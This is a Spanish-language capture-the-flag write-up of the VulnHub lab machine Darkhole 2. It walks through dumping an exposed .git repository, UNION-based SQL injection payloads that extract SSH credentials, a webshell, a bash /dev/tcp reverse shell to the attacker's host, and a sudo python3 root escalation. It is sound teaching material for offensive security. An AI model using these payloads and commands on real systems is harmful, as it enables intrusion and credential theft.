the_open_door
café
ESEN

Darkhole 2

VulnHubFácilLinux192.168.1.146

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#vulnhub#git-dump#source-disclosure#union-sqli#sql-injection#local-port-forwarding#webshell#command-injection#bash-history#sudo#gtfobins#python3#cron
TL;DR. El servidor web expone el directorio .git. Lo clonamos entero y en el historial de commits aparece la contraseña por defecto que puso el login.php: lush@admin.com:321. Dentro del panel, el parámetro id de dashboard.php es vulnerable a una SQLi basada en UNION que vuelca la tabla ssh con jehad:fool, credenciales válidas por SSH. Como jehad vemos un servicio interno en el 9999; con port forwarding llegamos a él y resulta ser una webshell (?cmd=) que ejecuta como losy (inyección de comandos). En el .bash_history de losy está su contraseña (gang) y sudo -l revela python3 como root: GTFOBins cierra la caja.

Reconocimiento

Descubrimiento del host en la red local

Darkhole 2 es una máquina de VulnHub que se descarga y se levanta en la red local del laboratorio, así que no viene con una IP dada: hay que encontrarla. arp-scan envía peticiones ARP a todas las direcciones del segmento y apunta quién responde, junto con el fabricante que delata la MAC.

arp-scan -I eth0 --localnet --ignoredups

Salida de arp-scan con 8 hosts respondiendo; la línea de 192.168.1.146 con MAC 00:0c:29:8f:bd:c1 (VMware, Inc.) aparece recuadrada

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1     2c:70:4f:14:4e:c7       (Unknown)
192.168.1.129   b0:a4:60:cf:91:26       Intel Corporate
192.168.1.128   74:e2:0c:8f:1e:6f       Amazon Technologies Inc.
192.168.1.146   00:0c:29:8f:bd:c1       VMware, Inc.
192.168.1.142   98:01:a7:8a:fa:55       Apple, Inc.
192.168.1.138   f4:03:2a:28:e7:36       Amazon Technologies Inc.
192.168.1.136   a4:77:33:d7:4d:4c       Google, Inc.
192.168.1.130   de:ba:80:a7:e7:5b       (Unknown: locally administered)

8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.518 seconds (101.67 hosts/sec). 8 responded

De los ocho equipos que contestan, el único con MAC de VMware es 192.168.1.146: el resto son el router, un portátil, dos dispositivos de Amazon, un Apple y un Google. La máquina virtual recién arrancada es la nuestra. La IP de nuestro Kali, que necesitaremos luego para la reverse shell, la da la propia cabecera de arp-scan: 192.168.1.80.

La IP de la víctima cambia entre despliegues (aquí 192.168.1.146): sustitúyela por la tuya en todos los comandos.

Escaneo de puertos

Para el escaneo se usan tres funciones definidas en el .zshrc. Son cómodas, pero también hacen que los comandos reales queden ocultos, así que van con su código: el objetivo es que cualquiera pueda reproducir el escaneo sin tenerlas instaladas.

La primera, jmap, pide una IP y lanza un escaneo TCP de los 65535 puertos:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

Es decir, el comando equivalente sin la función es:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.146 -oG scan

Salida de jmap: nmap descubre los puertos 80 y 22 abiertos en 192.168.1.146, ambos con syn-ack ttl 64

Discovered open port 80/tcp on 192.168.1.146
Discovered open port 22/tcp on 192.168.1.146
Completed SYN Stealth Scan at 21:07, 6.43s elapsed (65535 total ports)
Nmap scan report for 192.168.1.146
Host is up, received arp-response (0.0015s latency).
Scanned at 2025-02-08 21:07:25 CET for 6s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:8F:BD:C1 (VMware)

Solo dos puertos, y la columna REASON ya adelanta el sistema operativo: ttl 64 apunta a Linux (los TTL iniciales típicos son 64 en Linux/Unix y 128 en Windows; aquí no hay saltos de rúting que lo decrementen porque la máquina está en el mismo segmento).

La segunda función, extractPorts, no escanea nada: parsea el fichero scan que dejó la anterior en formato grepable y deja los puertos listos en el portapapeles.

extractPorts () {
        echo -e "Extracting information..."

        ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)

        ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
        echo -e "IP Address: $ip_address"
        echo -e "Open ports: $ports\n"
        {
                echo -e "IP Address: $ip_address"
                echo -e "Open ports: $ports\n"
        } >> extractPorts.tmp
        echo "$ports" | xclip -sel clip
        echo -e "Ports copied to clipboard\n"
        cat extractPorts.tmp
        rm extractPorts.tmp
}
extractPorts scan

Salida de extractPorts sobre el fichero scan: IP Address 192.168.1.146 y Open ports 22,80, copiados al portapapeles

Extracting information...
IP Address: 192.168.1.146
Open ports: 22,80

Ports copied to clipboard

IP Address: 192.168.1.146
Open ports: 22,80

Y la tercera, jmap2, lanza el escaneo de versiones y scripts por defecto solo contra esos dos puertos:

jmap2 () {

        if [ "$#" -ne 2 ]
        then
                echo "Uso: jmap2 <ip> <puertos>"
                return 1
        fi

        local ip="$1"
        local puertos="$2"
        nmap -p"$puertos" -sCV "$ip"

}
nmap -p22,80 -sCV 192.168.1.146

Salida de nmap -sCV: OpenSSH 8.2p1 Ubuntu, Apache 2.4.41 y el script http-git avisando de un repositorio Git encontrado, con el último mensaje de commit

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
|   256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_  256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-git:
|   192.168.1.146:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the ...
|_    Last commit message: i changed login.php file for more secure
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole V2
MAC Address: 00:0C:29:8F:BD:C1 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Aquí está el hallazgo de la caja, y lo sirve nmap en bandeja. El script http-git comprueba si existe /.git/ bajo el docroot y, si lo hay, lee sus metadatos. No solo confirma el repositorio: también imprime el último mensaje de commit, i changed login.php file for more secure. Alguien "aseguró" el login.php en un commit, lo que implica que antes existía una versión insegura, y en Git nada de lo que se comitea desaparece por cambiarlo después.

La versión de OpenSSH (8.2p1 Ubuntu 4ubuntu0.3) y la de Apache (2.4.41) sitúan la máquina en un Ubuntu 20.04. Ninguna de las dos tiene un exploit remoto que valga la pena aquí, así que la vía es la web.

HTTP - TCP 80

Antes de tirar del .git, un vistazo rápido a la tecnología del sitio.

whatweb 192.168.1.146

Salida de whatweb en una línea: Apache 2.4.41, cookie PHPSESSID, HTTPServer Ubuntu Linux y Title DarkHole V2

http://192.168.1.146 [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.1.146], Title[DarkHole V2]

La cookie PHPSESSID confirma que detrás hay PHP con sesiones, lo que encaja con un panel de login. La extensión Wappalyzer, ya desde el navegador, cuenta lo mismo con otras palabras:

Página principal DarkHole V2 (The Spark Diamond) con el panel de Wappalyzer abierto: Font Awesome, PHP, Apache HTTP Server 2.4.41 y Ubuntu

Font scripts: Font Awesome
Programming languages: PHP
Web servers: Apache HTTP Server 2.4.41
Operating systems: Ubuntu

Ninguna de las dos herramientas aporta nada que no supiéramos ya por nmap. Es un descarte, pero merece la pena hacerlo y dejarlo escrito: son treinta segundos y, en una caja con un CMS conocido, es justo el paso que te ahorra media hora.

Descubrimiento de contenido

Un dirsearch con los 403 y 404 filtrados para ver qué hay servible bajo el docroot:

dirsearch -u http://192.168.1.146/ --exclude-status=403,404

Salida de dirsearch: decenas de rutas bajo /.git/ (HEAD, config, index, logs, refs, objects), además de /.idea/, /config/, /dashboard.php, /login.php y /logout.php

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://192.168.1.146/

[21:18:17] Starting:
[21:18:18] 200 -  598B  - /.git/
[21:18:18] 200 -   41B  - /.git/COMMIT_EDITMSG
[21:18:18] 200 -   73B  - /.git/description
[21:18:18] 200 -   23B  - /.git/HEAD
[21:18:18] 200 -  673B  - /.git/hooks/
[21:18:18] 200 -  130B  - /.git/config
[21:18:18] 200 -    1KB - /.git/index
[21:18:18] 200 -  459B  - /.git/info/
[21:18:18] 200 -  484B  - /.git/logs/
[21:18:18] 200 -  240B  - /.git/info/exclude
[21:18:18] 200 -  554B  - /.git/logs/refs/heads/master
[21:18:18] 200 -  554B  - /.git/logs/HEAD
[21:18:18] 200 -  667B  - /.git/objects/
[21:18:18] 200 -  464B  - /.git/refs/
[21:18:18] 200 -   41B  - /.git/refs/heads/master
[21:18:19] 200 -  509B  - /.idea/
[21:18:19] 200 -  192B  - /.idea/modules.xml
[21:18:19] 200 -  926B  - /.idea/workspace.xml
[21:18:34] 200 -  456B  - /config/
[21:18:35] 200 -   11B  - /dashboard.php
[21:18:43] 200 -  455B  - /js/
[21:18:45] 200 -  484B  - /login.php
[21:18:45] 302 -    0B  - /logout.php  ->  index.php

El listado de directorios está activado (por eso /.git/ devuelve 598 bytes de índice HTML en vez de un 403), y eso hace que el volcado del repositorio sea trivial. Aparecen también /login.php, /dashboard.php y hasta un /.idea/ (los metadatos del proyecto de un IDE de JetBrains), otra fuga de información de desarrollo que se ha subido a producción sin querer.

Volcado del repositorio .git

Un .git accesible desde fuera es una fuga de código y de historial: con el repositorio en local podemos leer cada commit, incluidas las contraseñas que alguien creyó haber quitado. Como el listado de directorios está activo, basta un wget recursivo, sin necesidad de herramientas específicas como git-dumper:

wget -r http://192.168.1.146/.git/

Salida de wget recursivo descargando /.git/index.html, un 404 en robots.txt y los iconos del índice de Apache

--2025-02-08 21:21:31--  http://192.168.1.146/.git/
Connecting to 192.168.1.146:80... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 2681 (2.6K) [text/html]
Saving to: '192.168.1.146/.git/index.html'

192.168.1.146/.git/index.html   100%[===================>]

2025-02-08 21:21:31 (223 MB/s) - '192.168.1.146/.git/index.html' saved [2681/2681]

Loading robots.txt; please ignore errors.
--2025-02-08 21:21:31--  http://192.168.1.146/robots.txt
Reusing existing connection to 192.168.1.146:80.
HTTP request sent, awaiting response ... 404 Not Found
2025-02-08 21:21:31 ERROR 404: Not Found.

Con el árbol en local vamos a .git/logs/refs/heads/ y leemos el fichero master. Ese fichero es el reflog de la rama: una bitácora de cada movimiento del puntero, con el commit de origen, el de destino, el autor y el mensaje. Es la forma más rápida de ver la historia completa sin ni siquiera tener git reconstruido.

cd 192.168.1.146
cd .git/logs/refs/heads
cat master

Salida de cat master mostrando tres entradas del reflog: First Initialize, I added login.php file with default credentials, y i changed login.php file for more secure

0000000000000000000000000000000000000000 aa2a5f3aa15bb402f2b90a07d86af57436d64917 Jehad Alqurashi <anmar-v7@hotmail.com> 1630317764 +0300        commit (initial): First Initialize
aa2a5f3aa15bb402f2b90a07d86af57436d64917 a4d900a8d85e8938d3601f3cef113ee293028e10 Jehad Alqurashi <anmar-v7@hotmail.com> 1630317980 +0300        commit: I added login.php file with default credentials
a4d900a8d85e8938d3601f3cef113ee293028e10 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 Jehad Alqurashi <anmar-v7@hotmail.com> 1630318472 +0300        commit: i changed login.php file for more secure

Tres commits, y el del medio se autodenuncia: I added login.php file with default credentials. El tercero es el que nmap ya nos había enseñado ("for more secure"), es decir, el que quitó esas credenciales. Pero el commit a4d900a8... sigue estando en el repositorio con el fichero tal y como se subió la primera vez.

Acceso al panel

Credenciales en un commit de Git

Le pedimos a Git el contenido exacto de ese commit (secretos en el historial):

git show a4d900a8d85e8938d3601f3cef113ee293028e10

Salida de git show del commit que añade login.php: el diff muestra la comprobación con email lush@admin.com y password 321, ambos recuadrados

commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:06:20 2021 +0300

    I added login.php file with default credentials

diff --git a/login.php b/login.php
index e69de29..8a0ff67 100644
--- a/login.php
+++ b/login.php
@@ -0,0 +1,42 @@
+<?php
+session_start();
+require 'config/config.php';
+if($_SERVER['REQUEST_METHOD'] == "POST"){
+    if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
+        $_SESSION['userid'] = 1;
+        header("location:dashboard.php");
+        die();
+    }
+}
+?>

La comprobación está escrita a pelo en el código: si el email es lush@admin.com y la password es 321, el servidor pone $_SESSION['userid'] = 1 y redirige al dashboard.php. Dos cosas que apuntar aquí, porque las dos importan después:

  • Las credenciales son lush@admin.com:321.
  • El identificador que la sesión guarda es un userid numérico, y el panel al que redirige trabaja con ese número.

Login y panel

http://192.168.1.146/login.php

Formulario de login de DarkHole V2 con el email lush@admin.com escrito y la contraseña de tres caracteres tapada

(el formulario solo tiene los campos de email y contraseña; se envían las credenciales del commit)

Y entramos. El panel es un perfil de usuario, poca cosa: nombre, email, teléfono y dirección, con un botón de guardar.

Panel dashboard.php?id=1 con el perfil de Jehad Alqurashi: Full name, Email lush@admin.com, Contact number 1 y Address

Full name       Jehad Alqurashiasddasdasdas
Email           lush@admin.com
Contact number  1
Address         Street, Pincode, Province/State, Country

Lo interesante no está en la página, está en la URL: dashboard.php?id=1. Un parámetro numérico que casi con seguridad acaba en un WHERE id = ... de una consulta SQL. Y el login.php que acabamos de leer ya nos había avisado de que la aplicación se construyó concatenando valores a mano.

Shell como jehad

Contando columnas con ORDER BY

Antes de poder inyectar un UNION SELECT hay que saber cuántas columnas devuelve la consulta original: un UNION exige que las dos partes tengan exactamente el mismo número de columnas. La forma clásica de averiguarlo es ORDER BY n, subiendo n hasta que la base de datos se queja de que esa columna no existe.

Se usa id=6 (un identificador que no existe) para que la consulta original no devuelva ninguna fila: así, cuando llegue el UNION, lo único que se pintará en pantalla será nuestro resultado y no el perfil real.

http://192.168.1.146/dashboard.php?id=6' ORDER BY 6-- -

Panel renderizado con la URL ORDER BY 6: la página carga entera pero los campos Full name, Email, Contact number y Address salen vacíos

Full name
Email
Contact number
Address

Con seis, la página se pinta entera (campos vacíos porque id=6 no existe, que es justo lo que buscábamos). Con siete:

http://192.168.1.146/dashboard.php?id=6' ORDER BY 7-- -

Navegador en la URL ORDER BY 7: la página devuelve un documento en blanco, sin nada bajo la barra de marcadores

(página completamente en blanco: no se renderiza ni la cabecera del panel)

La aplicación no imprime el error de MySQL, simplemente devuelve una página vacía. Ese contraste es el que sirve de oráculo: la consulta tiene 6 columnas. Que no haya mensaje de error no invalida la técnica; solo obliga a fijarse en la diferencia de comportamiento en vez de en el texto.

Enumerando la base de datos

Con seis columnas ya podemos montar el UNION SELECT. La primera pregunta es qué bases de datos existen, y para eso está information_schema.schemata. El truco de group_concat() es que aplasta todas las filas del resultado en una sola cadena separada por comas: como el panel solo pinta un valor por campo, sin él veríamos únicamente el primer registro.

http://192.168.1.146/dashboard.php?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,group_concat(schema_name) FROM information_schema.schemata-- -

Panel mostrando en el campo Address recuadrado el listado de bases de datos: mysql, information_schema, performance_schema, sys, darkhole_2

Address  mysql,information_schema,performance_schema,sys,darkhole_2

El resultado sale reflejado en el campo Address, que es la sexta columna: por eso el group_concat() va en la sexta posición del SELECT y las otras cinco son NULL. De las cinco bases de datos, cuatro son las del propio motor MySQL; la de la aplicación es darkhole_2.

Si el group_concat() se filtrase o diese problemas, la alternativa es sacar los registros de uno en uno con LIMIT, o preguntar directamente por la base de datos en uso:

http://192.168.1.146/dashboard.php?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,schema_name FROM information_schema.schemata LIMIT 4,4-- -
http://192.168.1.146/dashboard.php?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,database()-- -

Siguiente nivel: las tablas de darkhole_2, que viven en information_schema.tables.

http://192.168.1.146/dashboard.php?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema="darkhole_2"-- -

Panel mostrando en el campo Address recuadrado el resultado ssh,users

Address  ssh,users

Solo dos tablas: users (previsible, la del panel) y ssh, cuyo nombre es una promesa. Vamos a por sus columnas, que están en information_schema.columns.

http://192.168.1.146/dashboard.php?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,group_concat(column_name) FROM information_schema.columns WHERE table_schema="darkhole_2" AND table_name="ssh"-- -

Panel mostrando en el campo Address recuadrado el resultado id,user,pass

Address  id,user,pass

id, user y pass. No hace falta más contexto.

Volcado de la tabla ssh

Ahora que sabemos el nombre de la tabla y de sus columnas, ya no hace falta pasar por information_schema: consultamos la tabla directamente y pegamos usuario y contraseña con group_concat(user,':',pass) para leerlos de una vez.

http://192.168.1.146/dashboard.php?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,group_concat(user,':',pass) FROM ssh-- -

Panel mostrando en el campo Address recuadrado el resultado jehad:fool

Address  jehad:fool

Una sola fila: jehad:fool. Son credenciales guardadas en una tabla llamada ssh, así que lo lógico es probarlas contra el servicio SSH del sistema y no contra la web.

SSH como jehad

ssh jehad@192.168.1.146

Login SSH como jehad: aceptación de la huella ED25519 y banner de Ubuntu 20.04.3 LTS con el prompt jehad@darkhole

The authenticity of host '192.168.1.146 (192.168.1.146)' can't be established.
ED25519 key fingerprint is SHA256:JmrTZ4RY4EPBC4GpHk9i3+Lc29L5n1QtcfSgbqG8D2+8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.146' (ED25519) to the list of known hosts.
jehad@192.168.1.146's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
...
  IPv4 address for ens33: 192.168.1.146

Last login: Fri Sep  3 05:49:05 2021 from 192.168.135.128
jehad@darkhole:~$

Las credenciales que la SQLi sacó de la base de datos valen tal cual para el SSH del sistema (reutilización de credenciales): la tabla ssh no era un adorno, guardaba literalmente las credenciales de acceso al sistema en claro. Ya tenemos la primera shell interactiva.

Shell como losy

Enumeración desde dentro

Tres comandos de partida: los privilegios sudo del usuario, los puertos que la máquina escucha desde dentro (que no tienen por qué ser los que veíamos desde fuera) y las tareas programadas.

sudo -l
netstat -tuln
cat /etc/crontab

Salida encadenada: sudo -l dice que jehad no puede usar sudo, netstat muestra el 9999 escuchando en 127.0.0.1 recuadrado, y el crontab termina con una línea de losy recuadrada con una flecha

jehad@darkhole:~$ sudo -l
[sudo] password for jehad:
Sorry, user jehad may not run sudo on darkhole.
jehad@darkhole:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:9999          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
jehad@darkhole:~$ cat /etc/crontab
...
* * * * * root service apache2 start && service mysql start
* * * * * losy cd /opt/web && php -S localhost:9999

Tres respuestas de golpe, y las tres cuentan:

  • sudo -l es un callejón sin salida: Sorry, user jehad may not run sudo on darkhole. Vía cerrada, y conviene dejarlo escrito para no volver a intentarlo más tarde.
  • netstat descubre servicios invisibles desde fuera. El escaneo de nmap solo veía el 22 y el 80; desde dentro aparecen MySQL (3306 y 33060), el resolvedor local (53) y, sobre todo, un 9999 escuchando en 127.0.0.1. Que esté atado al loopback es exactamente por lo que nmap no lo vio.
  • El crontab explica de dónde sale ese 9999, y esto es lo que convierte una curiosidad en un vector. La última línea, * * * * * losy cd /opt/web && php -S localhost:9999, dice que cada minuto el usuario losy levanta el servidor embebido de PHP sobre el directorio /opt/web. Si conseguimos que ese servidor ejecute algo, se ejecutará como losy, no como jehad.

Port forwarding del 9999

El servicio solo acepta conexiones desde la propia máquina, pero tenemos una sesión SSH legítima, y eso basta para acercarlo. Con -L le pedimos a SSH que abra un puerto en nuestro Kali y reenvíe todo lo que llegue a él, por dentro del túnel cifrado, hasta 127.0.0.1:9999 de la víctima (port forwarding local):

ssh -L 9999:127.0.0.1:9999 jehad@192.168.1.146

Conexión SSH con -L 9999:127.0.0.1:9999 establecida: banner de Ubuntu y prompt jehad@darkhole

jehad@192.168.1.146's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
...
Last login: Sat Feb  8 21:35:58 2025 from 192.168.1.80
jehad@darkhole:~$

La sesión hay que dejarla abierta: el túnel vive mientras viva la conexión SSH. A partir de aquí, http://localhost:9999 desde nuestro navegador es el servicio interno de la víctima.

Webshell en el 9999

http://localhost:9999/

Navegador en localhost:9999 mostrando una página con el único texto "Parameter GET['cmd']"

Parameter GET['cmd']

La página no tiene nada más: solo un texto que anuncia el parámetro que espera. Ese patrón (?cmd=) es la firma de una webshell casera. Y como el servidor embebido de PHP sirve index.php por defecto, ni siquiera hay que nombrar el fichero: basta con colgar el parámetro de la raíz.

http://localhost:9999/?cmd=id

Navegador en localhost:9999/?cmd=id devolviendo Parameter GET['cmd'] seguido de uid=1002(losy) repetido dos veces

Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy) uid=1002(losy) gid=1002(losy) groups=1002(losy)

RCE confirmado (inyección de comandos), y el uid=1002(losy) confirma lo que adelantaba el crontab: los comandos corren como losy, un usuario distinto al nuestro. El detalle de que la salida aparezca dos veces suele indicar que el código llama a la vez a una función que ya imprime por sí misma (system() o passthru()) y a otra cuyo retorno se hace echo (shell_exec()). No cambia nada del ataque, pero conviene entenderlo para no pensar que el comando se está ejecutando dos veces.

Reverse shell

Un ?cmd= en el navegador es incómodo: cada comando es una petición nueva y no hay estado. Toca entablar una reverse shell. Aquí hay un detalle que rompe el ataque si se pasa por alto: en una URL, el carácter & separa parámetros, así que los & del payload hay que URL-encodearlos como %26; si no, el servidor recibe el comando cortado por la mitad.

Primero, el listener en nuestro Kali:

nc -nlvp 443

Y después la petición, con los dos & de la redirección codificados:

http://localhost:9999/?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.80/443 0>%261"

Barra de direcciones del navegador con el payload bash -c hacia /dev/tcp/192.168.1.80/4444, y la página devolviendo solo Parameter GET['cmd']

localhost:9999/?cmd=bash -c "bash -i >&26 /dev/tcp/192.168.1.80/4444 0>%261"

Dos cosas de esta captura. La primera, que la barra de direcciones de Firefox muestra el %26 ya decodificado en unos sitios y sin decodificar en otros: lo que se envía es lo del bloque de arriba, no lo que se lee en pantalla. La segunda, que el puerto que se ve aquí es el 4444 mientras que el listener está en el 443: el puerto del payload y el del listener tienen que ser el mismo, y si no coinciden la petición simplemente se queda esperando sin que entre nada. El que acaba recibiendo la conexión es el del 443:

Listener nc en el 443 recibiendo la conexión desde 192.168.1.146 y un id que devuelve uid=1002(losy) con el prompt en /opt/web

listening on [any] 443 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.146] 57664
bash: cannot set terminal process group (1243): Inappropriate ioctl for device
bash: no job control in this shell
losy@darkhole:/opt/web$ id
uid=1002(losy) gid=1002(losy) groups=1002(losy)

Somos losy, y el directorio de trabajo es /opt/web: exactamente el que decía el crontab.

Tratamiento de la TTY

La shell que acaba de entrar no es una terminal de verdad (los avisos cannot set terminal process group y no job control lo dicen literalmente): no hay Ctrl+C sin morir, ni autocompletado, ni histórico. Se arregla en cuatro pasos.

script /dev/null -c bash
export TERM=xterm SHELL=bash
# Ctrl+Z
stty raw -echo; fg

Secuencia del tratamiento de la TTY: script /dev/null -c bash, export TERM, Ctrl+Z suspendiendo el nc y stty raw -echo; fg devolviendo el prompt de losy

losy@darkhole:/opt/web$ script /dev/null -c bash
Script started, file is /dev/null
losy@darkhole:/opt/web$ export TERM=xterm SHELL=bash
losy@darkhole:/opt/web$ ^Z
zsh: suspended  nc -nlvp 443
┌──(krmena@kali)-[~]
└─$ stty raw -echo; fg
[1]  + continued  nc -nlvp 443

losy@darkhole:/opt/web$

script /dev/null -c bash fuerza la creación de un pseudoterminal; export TERM=xterm le da a la shell un tipo de terminal que entiende (necesario para clear, nano o cualquier cosa con posicionamiento de cursor); el Ctrl+Z deja el nc en segundo plano para poder tocar la terminal local, y stty raw -echo hace que nuestra terminal pase las teclas en crudo, sin interpretarlas, antes de devolver el nc a primer plano con fg.

Escalada a root

El mapa de usuarios

Un truco pequeño antes de empezar: redefinir ls para que siempre muestre ficheros ocultos y permisos. Ahorra volver sobre los pasos por haber olvidado un -la.

alias ls="ls -la"
ls

Listado de / con el alias aplicado, mostrando permisos y ficheros ocultos, incluido swap.img y los enlaces simbólicos de bin, lib y sbin

total 2844752
drwxr-xr-x  20 root root       4096 Sep  2  2021 .
drwxr-xr-x  20 root root       4096 Sep  2  2021 ..
lrwxrwxrwx   1 root root          7 Feb  1  2021 bin -> usr/bin
drwxr-xr-x   4 root root       4096 Feb  1  2021 boot
...
drwxr-xr-x   3 root root       4096 Sep  3  2021 opt
drwx------   5 root root       4096 Sep  3  2021 root
...
drwxrwxrwt  14 root root       4096 Feb  8 23:37 tmp

Ahora, quiénes tienen shell en esta máquina. El /etc/passwd es legible por cualquiera, y filtrarlo por bash deja fuera todas las cuentas de servicio (que llevan /usr/sbin/nologin o /bin/false):

cat /etc/passwd | grep bash

Salida de cat /etc/passwd | grep bash: root, lama con uid 1000, jehad con 1001 y losy con 1002

root:x:0:0:root:/root:/bin/bash
lama:x:1000:1000:darkhole:/home/lama:/bin/bash
jehad:x:1001:1001:,,,:/home/jehad:/bin/bash
losy:x:1002:1002:,,,:/home/losy:/bin/bash

Cuatro cuentas con shell: root, lama (uid 1000, la cuenta original de la instalación) y los dos por los que ya hemos pasado. Es decir, o la siguiente parada es lama o es directamente root.

Credenciales en el .bash_history de losy

Con el home de losy ya accesible, el primer sitio donde mirar es su historial de shell (caza de credenciales). Es un fichero que casi nadie limpia y que guarda tal cual todo lo que se tecleó, contraseñas incluidas:

cat .bash_history | grep -iE '(pass*|losy)'

Salida del grep sobre .bash_history de losy: cuatro líneas, entre ellas P0assw0rd losy:gang y password:gang

cd /home/losy/
P0assw0rd losy:gang
cd losy/
password:gang

Dos de las cuatro líneas son la contraseña, escrita de dos formas distintas: losy:gang. Esas líneas no son comandos válidos (nadie ejecuta password:gang), son notas que acabaron en el historial por teclearlas en el prompt, que es justo como pasa en la vida real.

sudo python3

Ahora que tenemos la contraseña, sudo -l ya puede responder (antes lo habría pedido y no la teníamos, porque la shell entró por la webshell, no por un login):

sudo -l

Salida de sudo -l como losy: Matching Defaults entries y User losy may run the following commands: (root) /usr/bin/python3

Matching Defaults entries for losy on darkhole:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User losy may run the following commands on darkhole:
    (root) /usr/bin/python3

Un intérprete de propósito general ejecutable como root es una escalada inmediata: nada impide que el programa que le pasemos lance una shell. GTFOBins tiene la entrada exacta:

Ficha Sudo de GTFOBins para python con el payload sudo python -c 'import os; os.system("/bin/sh")'

Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may
be used to access the file system, escalate or maintain privileged access.

sudo python -c 'import os; os.system("/bin/sh")'

Copiado tal cual, el payload falla: en Ubuntu 20.04 no existe el binario python, solo python3 (y sudo -l autorizaba precisamente /usr/bin/python3, no /usr/bin/python). Hay que adaptar el nombre del binario, que es el paso que GTFOBins no puede dar por ti:

sudo python3 -c 'import os; os.system("/bin/bash")'

sudo python3 lanzando /bin/bash como root, cd al home de root y cat root.txt devolviendo DarkHole{'Legend'}

sudo: python: command not found
losy@darkhole:~$ sudo python3 -c 'import os; os.system("/bin/bash")'
root@darkhole:/home/losy# cd
root@darkhole:~# ls
root.txt  snap
root@darkhole:~# cat root.txt
DarkHole{'Legend'}

Caja rooteada.

Cadena de ataque

arp-scan  ->  192.168.1.146
    └─> nmap http-git  ->  .git expuesto (wget -r)
            └─> reflog  ->  commit "default credentials"  ->  lush@admin.com:321  (panel)
                    └─> dashboard.php?id=  ->  UNION SQLi  ->  tabla ssh  ->  jehad:fool
                            └─> SSH jehad  ->  crontab: losy levanta php -S en 127.0.0.1:9999
                                    └─> ssh -L  ->  webshell ?cmd=  ->  RCE como losy
                                            └─> .bash_history  ->  losy:gang
                                                    └─> sudo python3 (GTFOBins)  ->  root

Lecciones aprendidas

  • Publicar .git es publicar el historial. "Arreglar" una credencial en un commit nuevo no la borra: sigue viva en el commit anterior, y el reflog de la rama te lleva a él en un cat. El secreto hay que rotarlo, no solo tapar.
  • El script http-git de nmap hace medio trabajo. No solo detecta el repositorio: imprime el último mensaje de commit, y aquí ese mensaje ("for more secure") era la pista de que existía una versión anterior insegura.
  • Una SQLi sin mensajes de error sigue siendo explotable. Aquí el oráculo no era el texto de MySQL, sino la diferencia entre una página que se pinta y una página en blanco. Basta con eso para contar columnas.
  • Los servicios que solo escuchan en loopback no son invisibles. netstat desde dentro los delata y, sobre todo, /etc/crontab explica quién los levanta: esa línea era la que anticipaba que la webshell iba a ejecutar como losy y no como jehad.
